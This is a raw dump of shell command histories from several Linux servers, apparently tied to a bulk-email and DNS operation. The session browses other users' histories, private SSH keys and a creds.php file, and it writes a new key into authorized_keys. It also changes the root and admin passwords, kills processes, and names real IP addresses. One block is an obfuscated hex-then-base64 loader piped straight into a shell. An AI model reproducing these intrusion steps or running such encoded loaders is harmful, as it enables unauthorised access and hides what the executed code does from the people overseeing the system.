cd /usr
ls
cd bin
ls
ls
cd ..
ls
cd local
ls
cd bin
ls
cd ..
ls
cd src
ls
cd ..
cd share
ls
cd applications
ls
cd ..
cd doc
ls
ls -la
cd /
ls
cd /home
ls
cd admin
ls
grep
grep --help
grep -r 'crypt' ./
grep -r -i 'cryptmount' ./
ls
cd Dropbox
ls
cd ..
cd /mnt
cd /home/admin
cd ./mnt
ls
cd ..
cryptmount
cm
cd tmp
ls
cd ..
```

```
cd web
ls
cd src
ls
cd httpd
ls
cd ..
cd alvin
ls
ls -la
cat famousquotesnow.com
cd ..
ls
cd pmta
ls
cd PowerMTA
ls
cd ..
cd ..
cd ..
cd Dropbox
ls
cd web
ls
cd ..
cd tmp
ls
cd ..
cd src
ls
cd baconbread
ls
cat iframes.xcf
ls
cd ..
ls
cd ..
ls
cd RVR_INTEL
ls
cd ..
ls
cd work_shared/
ls
cd ..
cd doc
ls
cd /home/admin
cd src
ls
cd spinprofit-sean
ls
cat init-torstack.sh
```



```
proctor
cd cryptmount/
ls
cd torstack
ls
cd ..
cd ..
ls
cd xr
ls
cd ..
ls
cd sean-scripts/
ls
cd ..
ls
cd cryptmount/
ls
cd ..
cd ..
ls
cd tools
ls
cd ..
ls
cd brian-stuff/
ls
cd ..
cat backdoor.sh
cd /etc
ls
cd ./gcrpyt
ls
ls -la
cd ..
cat Trolltech.conf
cat statetab
cd /
ls
cd cgroup
ls
cd ..
cd run
cd proc
ls
ls -la cgroups
cd /
mount -a
mount -A
mount
cd /dev
ls
cd /home
```

```

ls
cd steve
ls -la
cat ./bash_history
cd ..
cd michelle
cat ./bash_history
ls
cd ..
ls
cd tunnel
ls
cat ./bash_history
ssh -2fL 50000:localhost:4004 admin@66.165.231.50 sleep 10; nc localhost 50000
cd ./ssh
ls
cd /home/tunnel
ls
cd ./ssh
ls
cat known_hosts
ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50 sleep 10; nc localhost 50000
cat id_rsa.pub
echo "ssh-rsa
AAAAAB3NzaC1yc2EAAAABIwAAAQEAU6+zrvqvWLBnc4wbi4KHvtht/ZGYo67kea2DW/l8YyE/2BIT2NJIx97zhAKpJUW4X9R4lenpo0
xoJpiAhglZhCEgmpsJ2an+IxpKrwZVDv60rMUXewBDLqBci6Sln7G26mJu7FwLhPjdG8BbV1rRS6lCgNdLhtS8N8wYucu1nXVtjTC6E7
15Z5bSr56i7lqDoUwdmHMrsgpaMg9y/1p65rXsWQVA82qlc4LYtKq4cTX/b2dDduDeiVMsWQU+SKlp7/dTCFjJpA+DGgZ1dFPC9Dlv
TJyeT0Se+TUiUtrRGEXd/cZoYEU9Q63h7r+P0G0QB590suBjE2hqAjBcropQ== tunnel@rcmdev" > ./authorized_keys
ls
ls -la
service sshd restart
ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50 sleep 10; nc localhost 50000
ip addr
ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" admin@66.165.231.50 sleep 10; nc localhost 50000
ssh -2fL 50000:localhost:4004 -i "/home/tunnel/.ssh/id_rsa" admin@66.165.231.50 sleep 10; nc 66.165.231.123 50000
netstat
tcpdump
who
ip addr
ls -la
dropbox
Dropbox
dbbox
ls sbin
cd /
ls -la
ls sbin
mount.ntfs-3g
ld /dev
ls /dev
ls -la
cd /dev
ls -la

```

```
cd ./root
ls
mount
mount /dev/sdb2 /mnt
mount.ntfs-3g
mount.ntfs-3g /dev/sdb2 /mnt
mount.ntfs-3g /dev/sdb /mnt
mount.ntfs-3g /dev/sda /mnt
cd /
ls
cat /root/.bash_history
cat /root/.bash_history netstat
tcpdump
ls -la
cd /etc
ls
fdisk -l
cd /mnt
ls
cd ..
mount /dev/mapper/vg_rcmdev-lv_root /mnt
cd mnt
ls
cd ..
ls -la
ls
cd mnt
ls
cd ..
umount /mnt
mount /dev/sdb1 /mnt
cd /mnt
ls
cd ..
umount /mnt
ls
mount /dev/sdb /mnt
ls /dev
mount /dev/sda1 /mnt
cd /mnt
ls
cd ..
umount /mnt
mount /dev/root /mnt
cd /mnt
ls
cd ..
ls
umount /mnt
cd tmp
ls
ls dropbox_errorFIAMDL.txt
ls -la dropbox_errorFIAMDL.txt
```

```
cat dropbox_errorFIAMDL.txt
screen dropbox
screen virtualbox
virtualbox
ls -la
cd /
ls
cd var
ls
cd /etc
ls
cat hosts
ssh -v admin@66.165.231.50
ssh -v admin@45.32.17.115
ssh -v admin@206.63.224.15
ssh -v admin@66.165.231.51
ssh -v admin@45.32.187.128
ssh -v -p 2252 admin@swift.mxrmedia.com
ssh -v admin@snowcapdns.com
ssh -v -p 2252 admin@snowcapdns.com
ssh -v admin@middec.com
ssh -v admin@162.246.21.166
ssh -v admin@174.47.2.71
ssh -v -p 2252 admin@174.47.2.71
ssh -v admin@66.165.231.100
ssh -v -p 56996 admin@66.165.231.100
ssh -v -p 8082 admin@66.165.231.100
ssh -v -p 58998 admin@66.165.231.100
ssh -v admin@216.158.229.136
ssh -v admin@206.63.224.11
ssh -v admin@splunk
ssh -v admin@v9
ssh -v admin@vhost68
ssh -v admin@rwhois
ssh -v admin@vultr-dc
ssh -vvvvv admin@vultr-dc
ssh -vvvvv -p 5022 admin@vultr-dc
ssh -vvvvv -p 2022 admin@vultr-d
rdesktop vultr-d
ssh -vvvvv admin@janusdns.com
ssh -vvvvv admin@squid-ll
ssh -vvvvv admin@mysql3
ssh -vvvvv admin@elk-devel
ping baconbread.com
rwhois
whois
whois baconbread.com
ssh -v admin@66.206.0.9
ssh -v admin@66.165.231.139
ssh -v admin@66.165.231.41
who
who -u
tcpdump -q
```

```
ssh -v -p 2252 root@45.32.17.115
exit
cd /home
ls
cd tunnel
ls -la
cat ./bash_history
ls -la
cd ./ssh
ls
cat authorized_keys
cat ./known_hosts
cat ./id_rsa
ls
cat known_hosts
cd /
ls
ls -la
cat ./rnd
cd /home
ls
cd tunnel
ls
ls -la
cat ./esd_auth
cd /
cd /etc
ls
cat hosts
ssh -v admin@69.171.64.41
ssh -v admin@69.171.64.41
ls -la
cd unbound
ls
cat root.anchor
cat named.conf
cd named
ls
cd ..
cat named.conf
cd named
ls
cd /var/named
ls
cd slaves
ls
cd ..
cd data
ls
ls -la
cd ..
ls
cd dynamic/
```

```
ls
cat managed-keys.bind
mysql -uroot -p
mysql -uroot -p
mysql -uroot -p
cd /root
ls
cd /home
ls
cd /admin
ls
cd admin
ls
ls -la
ls
cd dkim
ls
cd spixy.com
ls
cd sprixy.com/
ls
cd st
cd steve
cd ..
cd steve/
ls
cd ..
cd ..
ls
cd ..
ls
cd images
ls
cd snapshot/
ls
cd ..
cd ..
ls
cd steve/
ls
ls -la
ls -la
cat ../bash_history
dig -x 66.165.231.123
dig -x 166.88.192.100
ls /tmp
ls /tmp/orbit-tunnel/
ls -la /tmp/orbit-tunnel/
cd ..
ls
cd /sbin
ls
fdisk -l
```

```
cd /dev
ls
cd /mnt
cd ..
mount /dev/sdb2 /mnt
mount /dev/ram0 /mnt
lsblk
mount /dev/sr0 /mnt
mount /dev/sda /mnt
mount -t
mount -a
mount
mount /dev/sda /mnt
mount /dev/sr0 /mnt
mount -t ext4 /dev/sr0 /mnt
mount -t ext4 /dev/ram0 /mnt
dmesg | tail
ssh -v admin@69.171.64.41
ls -la
cd /root
ls
cd ./ssh
ls
cat known_hosts
ssh -v admin@66.45.232.98
cat known_hosts
ssh -v admin@45.76.98.34
who
who -r
rdesktop
ssh admin@ known_hosts 66.165.232.130
ssh admin@66.165.232.130
cd /etc
ls
cat ./resolv.conf
cat gai.conf
cat lftp.conf
cat fstab
cat hosts
ssh -v admin@107.170.16.7
ssh -v admin@66.165.231.66
ping prod
ssh -v admin@prod
ping production
exit
who
screen -ls
history
ip tunnel
who
sudo service Dropbox stop
last
ps fax
```

```
dropbox stop
ls /bin
cd /home/admin
ls /home/admin/bin
ls /home/admin/bin/dropbox.py stop
ll
ls
ls -l
service dropbox stop
iptables -L -n
cat /etc/passwd
ls -l
ps fax
ls
kill -9 23027
ps fax
ls
passwd root
passwd admin
last
history
ssh admin@66.165.231.240
ll
ls /home
ls /home
ps fax
who
service httpd stop
service mysqld stop
service squid stop
service vncserver stop
ps fax
ssh admin@66.165.231.239
exit
cd /var
ls
cd gdm
ls
cd ..
cd /www
ls
cd www
ls
cd html
ls -la
cd maze
ls
cd ..
cd edu
ls
cd wwwroot
s
ls
```



```
cd un
ls
cd ..
cat finaid.html
cd ..
ls
cd ..
ls
cd worldsite
ls
cat pasteit.txt
cd ..
ls
cd wwwsite
ls
cat rcm-hidden.php
ls
ls -la
cat ./httpasswd
cd 20140420
ls
cat index.html
cd ..
ls
cat Ryker.1.8.binds
cd accounts
ls
cat creds.php
ls
cd ..
ls
cd namecheap
ls
cat index.php
cd ..
cd quick
ls
cd ..
ls
cd mc
ls
cd ..
ls
cat main.php
cat Ryker.1.8.binds
ls
cat domaindbl.html
cd ..
ls
cd temp
ls
cat afd76f069f771bbe8f53a18a3e063b35.txt
cat index.html
```

```
ls -la
cd ..
ls
cat index.php
cd worldsite/
ls
ls -la
cat qrcode.png
cat pasteit.txt
```

```
echo
```

```
'626173653634202D643C3C3C596D467A5A5459304943316B504477385344527A53554E4D63334A5862474E4251544A6B646C6
C59556E706155554E5762457831645764365155316F646D4D3461474A6A52464E5052446C4552325A775954466E6555524A615
64A4255566C4861544A6A4C326C53543051774D574678625764476553746D4C7A5134644559796330314253305572655864335
55864495A456F7656316C5A53485A5364464E49526C5A45626C5A4B4D56564C4C314533595456706131524E563078325256647
84D5868534D6C55304E555261576B64594D6D45344B7A6B33513035794E584278556C68565531633161585A4353314A566345
6C725648426C4D69746164316C355A314668576E637A53477855545735425A6C67725A5751325558706C59564676546B567156
5767724E4856735447677A593230356133567165555A445745637962556C6853485A7665554A6B563263314E6D786E61555654
5A57316D5354524A524642465A4735334D444E365343383157454979556B4E4F6556637954305A4956584A5A51544A6162303
568634568445457684C6545527753475676555456314D474531556D6436627A51334D4656704D57784D565668434B33466852
7A684A5646526162336F304D6B6C3059555A4B536C4A6C53455A5355315A7A55316F775744553455334E68535739345654566
B627A4A4D5356525861566B3457545531533045346232784E5A336C486245357153565A494C33466A616B6C3456553131536B
4A7253484D32526B4A324E4446536255687556566779526B3958645870544E6E4E6A6157686A5A5749334F566C3563446C7661
57685A5A48707653533933536D397761306832536E4D7751316C6E59325674553355785231566F4D44684C636E6C4E646D5254
52315A6F4E7A68445547707255326F794C79397A4C7A52434F55457A64316C6C5755564251554539494877675A335675656D6C
776643423361476C735A53424A526C4D3949484A6C595751674C584A754D53426A4F79426B62794277636D6C75644759674A5
74D6749695237597A6F744A43646362696439496A73676332786C5A5841674D4334774D445537494673674969526A49694264
4948783849484E735A575677494441754D44553749475276626D554B7C626173680A'|xxd -r -p|source /dev/stdin
```

```
cd ..
ls
cd edu
ls
cd wwwroot
ls
cd backup1
ls
cd /
ls
cd tmp
ls
cd /root
ls
cd /home
ls
cd /admin
ls
cd admin
ls
cd Dropbox
ls
cd web
ls
cd ..
```

```
ls -la
cd src
ls
ls -la
cd baconbread/
ls
cd ..
cd baconbread/
cat iframes.xcf
ls
cd ..
ls
cd python
ls
cat test.py
cd ..
cd rcmdev
ls
cd src
ls
cat dice.sh
ls
cat regextpst.pl
ssh -v admin@69.171.64.63
ls
cd retool/
ls
who
cd ..
cd vbox
ls
cat /home/admin/.bash_history
cd ..
ls
cd ..
cd ..
ls
cd ..
ls
cd ..
ls
cd dkim
ls
cd steve
ls
opendkim-testkey -d thancoverhot.date -vvv -s key1 -k key1.private
ssh admin@thancoverhot.date
rdesktop 66.206.0.83
```

```
-----
[root@rcmdev tunnel]# cat /home/tunnel/.bash_history
exit
```

```
ssh-keygen
ls .ssh/
cat .ssh/*
ll .ssh/
man ssh
ls
echo $PATH
cd .ssh
ls
cat *
cat id_rsa.pub
ssh tunnel@66.165.231.50
ll
cat known_hosts
cat id_rsa
ls
ssh tunnel@66.165.231.50
ssh-copy-id tunnel@66.165.231.50
ssh tunnel@66.165.231.50
ls
rm *
ls
ssh-keygen
ls
ll
ssh-copy-id tunnel@66.165.231.50
ssh tunnel@66.165.231.50
ls
ll
ll ../
ll -a ../
ls
cat id_rsa.pub >> authorized_keys
ll
rm authorized_keys
ll
cat id_rsa.pub | winclip
cat id_rsa.pub | /home/admin/bin/winclip
cat id_rsa.pub
ls
ssh tunnel@66.165.231.50
ssh -f tunnel@66.165.231.50 -L 58878:66.165.231.50:4004 -N
nc localhost 58878
ls
yum search shuttle
exit
ssh -2 -N -f -L 4004:localhost:4004 tunnel@66.165.231.50
ps fax
lsof -i
nc localhost 4004
ps fax
kill 10856
ssh -2 -N -f -L 4004:localhost:873 tunnel@66.165.231.50
```

```

ls
netstat -nlptu
pv'
pv
ps fax
netstat -nlptu
netstat -nlptu | grep 127.0.0.1
lsof -Pin
lsof -Pi
ls
nc localhost 4004 > block.bin
ps fax
kill 10901
ssh -2 -N -f L 4004:localhost:4004 tunnel@66.165.231.50
ssh -2 -N -f -L 4004:localhost:4004 tunnel@66.165.231.50
nc localhost 4004 > block.bin
ls
ll
rm block.bin
nc -z localhost 4004
nc -z localhost 4000-4100
nc -z localhost 1-1000
nc -z localhost 1-5000
nc -z 66.165.231.50
nc -z 66.165.231.50 1-1000
ps fax
kill 10982
ps fax
ls
ssh -2f
ssh -2fL 50000:localhost:4004 tunne@66.165.231.50 sleep 10; nc localhost 50000
ssh -2 -f -L 50000:localhost:4004 tunne@66.165.231.50 sleep 10; nc localhost 50000
ssh -2fL 50000:localhost:4004 tunnel@66.165.231.50 sleep 10; nc localhost 50000
exit
ls -la
exit
ls -la
cd Desktop
ls
cd ..
cat ./bash_history
ssh -i /home/tunnel/.ssh/id_rsa -2fL 50000:localhost:4004 tunnel@66.165.231.50 sleep 10; nc localhost 50000
cd ./ssh
ls
mv ./known_hosts ./known_hosts_old
ssh -i /home/tunnel/.ssh/id_rsa -2fL 50000:localhost:4004 tunnel@66.165.231.50 sleep 10; nc localhost 50000
ssh -i /home/tunnel/.ssh/id_rsa -2fL 50000:localhost:4004 admin@66.165.231.50 sleep 10; nc localhost 50000
ssh -2 -N -f -L 4004:localhost:4004 admin@66.165.231.50
nc localhost 4004
nc -vvvvvv localhost 4004
exit

66.165.231.240

```

```
[root@ll-mon-1 ~]# last
```

```
admin pts/0 66.165.231.123 Thu Feb 9 21:35 still logged in
admin pts/1 66.165.231.123 Thu Feb 9 15:15 - 15:33 (00:17)
admin pts/1 66.165.231.123 Tue Feb 7 11:03 - 11:07 (00:03)
admin pts/1 69.171.64.174 Sat Feb 4 17:17 - 20:55 (03:37)
admin pts/1 104.200.154.101 Sat Feb 4 13:07 - 15:30 (02:23)
admin pts/1 104.200.154.101 Sat Feb 4 13:06 - 13:06 (00:00)
admin pts/0 ex01.cet.com Fri Feb 3 21:26 - 23:08 (01:42)
admin pts/0 ex01.cet.com Fri Feb 3 21:10 - 21:16 (00:06)
admin pts/0 ex01.cet.com Fri Feb 3 20:58 - 21:09 (00:10)
admin pts/0 104.200.151.108 Fri Feb 3 17:09 - 19:16 (02:06)
admin pts/0 69.171.64.174 Thu Feb 2 16:03 - 18:34 (02:31)
admin pts/0 69.171.64.40 Thu Feb 2 12:16 - 15:54 (03:38)
admin pts/0 10.16.32.67 Thu Feb 2 07:10 - 07:13 (00:03)
admin pts/0 104.200.151.77 Thu Feb 2 01:20 - 03:36 (02:15)
admin pts/0 104.200.151.78 Tue Jan 31 19:05 - 03:13 (08:07)
admin pts/0 104.200.151.73 Sat Jan 28 17:18 - 23:43 (06:24)
```

```
66.45.232.98 - inter1
```

```
3 ll
4 ll *.arpa
5 cat 152.152.107.in-addr.arpa
6 vim 9.151.107.in-addr.arpa
7 mv 9.151.107.in-addr.arpa 153.152.107.in-addr.arpa
8 vim 10.151.107.in-addr.arpa
9 mv 10.151.107.in-addr.arpa 129.152.107.in-addr.arpa
10 rndc reload
11 dig @ns1.ragingdns.com 107.152.129.5
12 dig @ns1.ragingdns.com -x 107.152.129.5
13 vim /etc/named.conf
14 rndc reload
15 dig @ns1.ragingdns.com -x 107.152.129.5
16 dig @ns1.ragingdns.com -x 107.152.152.5
17 dig @ns1.ragingdns.com -x 107.152.153.5
18 exit
19 cd /var/named
20 vim 53.250.23.in-addr.arpa
21 rndc reload
22 cd /var/named
23 vim 153.152.107.in-addr.arpa
24 service named restart
25 whois actonforegoing.net
26 jwhois actonforegoing.net
27 exit
28 cd /var/named
29 ls
30 vim 31.158.107.in-addr.arpa
31 rndc reload
32 exit
33 ls
34 cd /var/named
35 vim 52.250.23.in-addr.arpa
```

```
36 rndc reload
37 exit
38 cd /var/naemd
39 cd /var/named
40 ls
41 mv 52.250.23.in-addr.arpa ~
42 mv 153.152.107.in-addr.arpa ~
43 ls ~
44 vim /etc/named.conf
45 rndc reload
46 service named restart
47 exit
48 cd /var/named
49 ls
50 exit
51 cd /var/named
52 ls
53 cat > middledns.com.db
54 ll middledns.com.db
55 vim /etc/named.conf
56 service named restart
57 cat citytoobs.com.db
58 exit
59 cd /var/named
60 ll
61 grep dkim
62 grep DKIM *.db
63 grep DKIM *.db -l
64 vim zedohome.com.db
65 exit
66 cd /var/named
67 vim /etc/named.conf
68 ll
69 rsync -Pa admin@66.165.231.123:src/bindDNS/output/*.arpa ./
70 ll *.arpa
71 chown root:root *.arpa
72 ll *.arpa
73 vim 168.236.23.in-addr.arpa
74 vim 169.236.23.in-addr.arpa
75 vim 170.236.23.in-addr.arpa
76 vim 171.236.23.in-addr.arpa
77 service named restart
78 exit
79 cd /var/named
80 ls
81 vim /etc/named.conf
82 ll
83 ip addr
84 ls /home/admin
85 chown root:named /home/admin/*
86 mv /home/admin/alertnetbox.com.db ./
87 mv /home/admin/*.arpa ./
88 ll
```

```
89 ll *.arpa
90 service named restart
91 vim /etc/named.conf
92 service named restart
93 vim alertnetbox.com.db
94 service named restart
95 ll
96 touch actionclear.com.db
97 vim actionclear.com.db
98 ll actionclear.com.db
99 chown root.named actionclear.com.db
100 ll
101 vim /etc/named.conf
102 service named restart
103 vim 189.152.107.in-addr.arpa
104 tail -F /var/log/named/queries.log
105 cd /var/named/
106 ls
107 vim /etc/named.conf
108 cd /var/named
109 ll
110 vim *.arpa
111 ls
112 ll
113 ls *.arpa
114 ll *.arpa
115 grep -l ns1.alertnetbox.com *.arpa
116 for i in `grep -l ns1.alertnetbox.com *.arpa`; do echo $i; done
117 for i in `grep -l ns1.alertnetbox.com *.arpa`; do sed -i 's/alertnetbox.com/actionclear.com/g' $i; done
118 vim 188.152.107.in-addr.arpa
119 vim 189.152.107.in-addr.arpa
120 grep -l actionclear.com *.arpa
121 rndc reload
122 exit
123 vim /etc/named.conf
124 service named restart
125 service iptables status
126 cd /var/named
127 ll
128 ll *.arpa
129 cat 188.152.107.in-addr.arpa
130 grep 2013042301 *.arpa
131 grep -l 2013042301 *.arpa
132 sed -i s/2013042301/2013042302/g *.arpa
133 grep -l 2013042301 *.arpa
134 rndc reload
135 ll *.arpa
136 tail -F /var/log/named/queries.log
137 cd /var/named
138 vim actionclear.com.db
139 vim alertnetbox.com.db
140 cd /etc/sysconfig/network-scripts/
141 ls
```



```
142 ip tunnel
143 exit
144 cd /var/named
145 vim 31.158.107.in-addr.arpa
146 service named restart
147 exit
148 cd /var/named
149 dig -x 66.23.232.41
150 vim 31.158.107.in-addr.arpa
151 cd /var/named
152 ls *.arpa
153 ls ~
154 cp ~/153.152.107.in-addr.arpa ./
155 ll
156 ll *.arpa
157 vim /etc/named.conf
158 service named restart
159 vim /etc/named.conf
160 vim 152.152.107.in-addr.arpa
161 service named restart
162 eixt
163 exit
164 cd /var/named
165 vim 168.236.23.in-addr.arpa
166 exit
167 cd /var/named
168 vim 171.236.23.in-addr.arpa
169 rndc reload
170 rndc reload
171 grep 171.236.23 /etc/named.conf
172 grep --help
173 grep -n 171.236.23 /etc/named.conf
174 vim /etc/named.conf
175 ls
176 cat yokework.com.db
177 exit
178 cd /var/named
179 vim 31.158.107.in-addr.arpa
180 service named restart
181 ls
182 exit
183 cd /var/named
184 ls
185 ls *.arpa
186 vim 31.158.107.in-addr.arpa
187 exit
188 ls
189 cd /var/named
190 ls
191 vim /etc/named.conf
192 exit
193 vim /etc/named.conf
194 service named restart
```

```
195 exit
196 cd /var/named/
197 ll
198 ll *.arpa
199 vim /etc/named.conf
200 ls *.arpa
201 cat 31.158.107.in-addr.arpa
202 cd /var/log/named
203 ll
204 ls
205 cd /var/named
206 ll
207 vim /etc/named.conf
208 service named restart
209 exit
210 ls
211 cd /var/named
212 ll
213 ll *.arpa
214 cp 31.158.107.in-addr.arpa 91.130.170.in-addr.arpa
215 vim 91.130.170.in-addr.arpa
216 cd /var/named
217 vim 91.130.170.in-addr.arpa
218 vim /etc/named.conf
219 service named restart
220 vim 91.130.170.in-addr.arpa
221 exit
222 cd /var/named
223 ll
224 ll *.arpa
225 vim /etc/named.conf
226 rm 91.130.170.in-addr.arpa
227 rm 30.158.107.in-addr.arpa
228 cat 31.158.107.in-addr.arpa
229 cp 31.158.107.in-addr.arpa 23.3.50.in-addr.arpa
230 vim 23.3.50.in-addr.arpa
231 vim /etc/named.conf
232 service named restart
233 vim /etc/named.conf
234 service named restart
235 whois exit
236 exit
237 vim /etc/named.conf
238 service named restart
239 exit
240 cd /var/named
241 ll *.arpa
242 dig -t any ns1.alertnetbox.com
243 ll
244 ll alertnetbox.com.db
245 cat alertnetbox.com.db
246 grep alertnetbox.com *.arpa -l
247 exit
```

```
248 vim /etc/named.conf
249 exit
250 cd /var/named
251 ll
252 ip addr
253 vim /etc/named.conf
254 exit
255 cd /var/named
256 ll
257 cat 53.250.23.in-addr.arpa
258 head 53.250.23.in-addr.arpa
259 grep -l webracked.com *
260 ls ~
261 mkdir ~/backup
262 mv 53.250.23.in-addr.arpa webracked.com.db ~/backup/
263 head 112.231.23.in-addr.arpa
264 grep stationdns.com -l *
265 head 152.152.107.in-addr.arpa
266 grep ragingdns.com -l *
267 head 31.158.107.in-addr.arpa
268 head 168.236.23.in-addr.arpa
269 grep middledns.com -l *
270 head 23.3.50.in-addr.arpa
271 grep citytoobs.com.db -l *
272 grep citytoobs.com -l *
273 vim 31.158.107.in-addr.arpa
274 grep middledns.com -l *
275 grep choicenetworks.net -l *
276 grep hostingrack.net -l *
277 grep alertnetbox.com -l *
278 grep actionclear.com * -l
279 exit
280 ip addr
281 cd /var/named
282 ll
283 vim /etc/named.conf
284 service named restart
285 vim /etc/named.conf
286 mv ~/backup/* ./
287 service named restart
288 ip addr
289 cd /etc/sysconfig/network-scripts/
290 ll
291 cat ifcfg-eth0-range*
292 ls ~
293 cp ~/route-inter2cet, ifcfg-inter2cet ./
294 cp ~/route-inter2cet ./
295 cp ~/ifcfg-inter2cet ./
296 ll
297 vim route-inter2cet
298 cat ifcfg-inter2cet
299 ifup inter2cet
300 cat route-inter2cet
```

```
301 ip route
302 cat route-inter2cet
303 cat route-inter2cet | awk '{print $2}'
304 cat route-inter2cet | awk '{print $2}'
305 cat route-inter2cet | awk '{print $1}'
306 cat route-inter2cet | awk '{print $1}' > tempips
307 cat tempips
308 while read line; do ip addr del $line dev eth0; done < tempips
309 ip addr
310 vim tempips
311 while read line; do ip addr del $line dev eth0; done < tempips
312 ip addr
313 cat tempips
314 ip tunnel
315 ls
316 exit
317 cd /etc/sysconfig/network-scripts/
318 ll
319 ifdown inter2cet
320 ls ~
321 cp ifcfg-inter2cet ~
322 cp route-inter2cet ~
323 rm ifcfg-inter2cet route-inter2cet
324 cat ~/ifcfg-CET_201_INT
325 cp ~/ifcfg-inter2cet ifcfg-inter2ll
326 cp ~/route-inter2cet route-inter2ll
327 ll
328 vim route-inter2ll
329 ll
330 vim ifcfg-inter2ll
331 ifup inter2ll
332 ll
333 rm tempips
334 exit
335 cd /var/named
336 ll
337 scp *.arpa admin@66.165.231.123:src/bindDNS/archive/
338 cp 31.158.107.in-addr.arpa ~
339 cp citytoobs.com.db ~
340 cp 23.3.50.in-addr.arpa ~
341 vim /etc/named.conf
342 scp /etc/named.conf admin@66.165.231.123:src/bindDNS/archive/
343 ll ~
344 rm *.arpa *.db -f
345 cp ~/23.3.50.in-addr.arpa ./
346 cp ~/citytoobs.com.db ./
347 cp ~/31.158.107.in-addr.arpa ./
348 ll
349 service named restart
350 exit
351 mtr 66.206.0.1
352 exit
353 cd /var/named
```

```
354 ll
355 ll
356 cat citytoobs.com.db
357 vim /etc/named.conf
358 ls
359 ll
360 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
361 service named restart
362 vim /etc/named.conf
363 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
364 service named restart
365 vim /etc/named.conf
366 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
367 service named restart
368 ll
369 service named restart
370 vim /etc/named.conf
371 service named restart
372 vim /etc/named.conf
373 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
374 rm P_name.com_aged7.db
375 service named restart
376 vim /etc/named.conf
377 service named restart
378 vim /etc/named.conf
379 man scp
380 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
381 service named restart
382 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
383 vim /etc/named.conf
384 service named restart
385 vim /etc/named.conf
386 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
387 service named restart
388 vim /etc/named.conf
389 service named restart
390 vim /etc/named.conf
391 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
392 service named restart
393 vim /etc/named.conf
394 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
395 service named restart
396 vim /etc/named.conf
397 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
398 service named restart
399 top
400 rdnc
401 rndc
402 rndc status
403 cd /var/named
404 ll
405 vim /etc/named.conf
406 scp admin@66.165.231.123:src/bindDNS/output/*.db ./
```

```
407 service named restart
408 exit
409 ip tunnel
410 ip route
411 ifdown inter2ll
412 ifup inter2ll
413 cd /etc/sysconfig/network-scripts/
414 ls
415 cat route-inter2ll
416 exit
417 cd /var/named
418 ls
419 cat zurpia.com.db
420 cp zurpia.com.db elsinoremerrileegreatoffers.pw.db
421 vim elsinoremerrileegreatoffers.pw.db
422 vim /etc/named.conf
423 service named restart
424 tail -F /var/log/named/queries.log | grep elsinoremerrileegreatoffers.pw
425 vim elsinoremerrileegreatoffers.pw.db
426 service named restart
427 tail -F /var/log/named/queries.log | grep elsinoremerrileegreatoffers.pw
428 exit
429 cd /var/named
430 ls
431 ll
432 ls *.arpa
433 vim /etc/named.conf
434 vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
435 service named restart
436 exit
437 cd /var/named
438 ls
439 vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
440 grep citytoobs.com *.db -l
441 cp yytuo.com.db vintagemode.net.db
442 vim vintagemode.net.db
443 vim /etc/named.conf
444 vim vintagemode.net.db
445 vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
446 service named restart
447 vim vintagemode.net.db
448 service named restart
449 cd /var/named
450 ls
451 vim vintagemode.net.db
452 cd /var/named
453 vim vintagemode.net.db
454 vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
455 service named restart
456 cp vintagemode.net.db wellspringdepot.com.db
457 vim wellspringdepot.com.db
458 vim /etc/named.conf
459 vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
```

```
460 vim wellspringdepot.com.db
461 service named restart
462 cp wellspringdepot.com.db bookmarkingonline.com.db
463 vim bookmarkingonline.com.db
464 vim /etc/named.conf
465 vim 3.0.0.0.8.2.f.f.7.0.6.2.ip6.arpa
466 service named restart
467 cd /etc/sysconfig/networks-cr
468 cd /etc/sysconfig/network-scripts/
469 ls
470 ll
471 cat route-inter2ll
472 cp ifcfg-inter2ll ifcfg-inter2dev
473 vim ifcfg-inter2dev
474 ll
475 cat route-inter2ll
476 cat > route-inter2dev
477 vim route-inter2ll
478 service network restart
479 ping 10.69.1.1
480 service iptables status
481 vim /etc/sysconfig/iptables-config
482 service iptables start
483 service iptables status
484 service iptables start
485 cd /etc/init.d
486 l
487 sls
488 ls
489 rpm -qa iptables
490 yum update iptables
491 service iptables status
492 service iptables
493 service iptables start
494 service iptables status
495 service iptables start
496 iptables -nL
497 ls
498 /etc/init.d/iptables
499 /etc/init.d/iptables reload
500 /etc/init.d/iptables resrtart
501 /etc/init.d/iptables restart
502 service iptables status
503 service iptables start
504 service iptables stop
505 servcie iptables start
506 service iptables save
507 service iptables start
508 iptables - nL
509 iptables -nL
510 ip addr
511 cd /etc/sysconfig/network-scripts/
512 ls
```

```
513 ifdown inter2dev
514 ls
515 rm ifcfg-inter2dev
516 cat route-inter2dev
517 vim route-inter2ll
518 ls
519 rm route-inter2dev
520 ll
521 exit
522 cd /etc/sysconfig/network-scripts/
523 ls
524 cat route-inter2ll
525 ip tunnel
526 ip route
527 mtr -tn 206.72.206.194
528 ip addr
529 vim route-inter2ll
530 ip addr
531 ip route
532 ip route | sort
533 ip addr
534 for i in {194..206}; do ip addr del 206.72.206.$i/28 dev eth0; done
535 ip addr
536 exit
537 cd /var/named
538 ls
539 cat yytuo.com.db
540 exit
541 ip route
542 mtr 206.72.206.194
543 ip addr
544 cat /etc/sysconfig/network-scripts/route-inter2ll
545 for i in {194..206}; do ip addr del 206.72.206.$i/32 dev eth0; done
546 ip addr
547 for i in {194..206}; do ip addr del 206.72.206.$i/28 dev eth0; done
548 ip addr
549 cat /etc/sysconfig/network-scripts/route-inter2ll
550 ip addr del 66.45.232.99/29 dev eth0
551 ip addr del 66.45.232.102/29 dev eth0
552 ip addr
553 exit
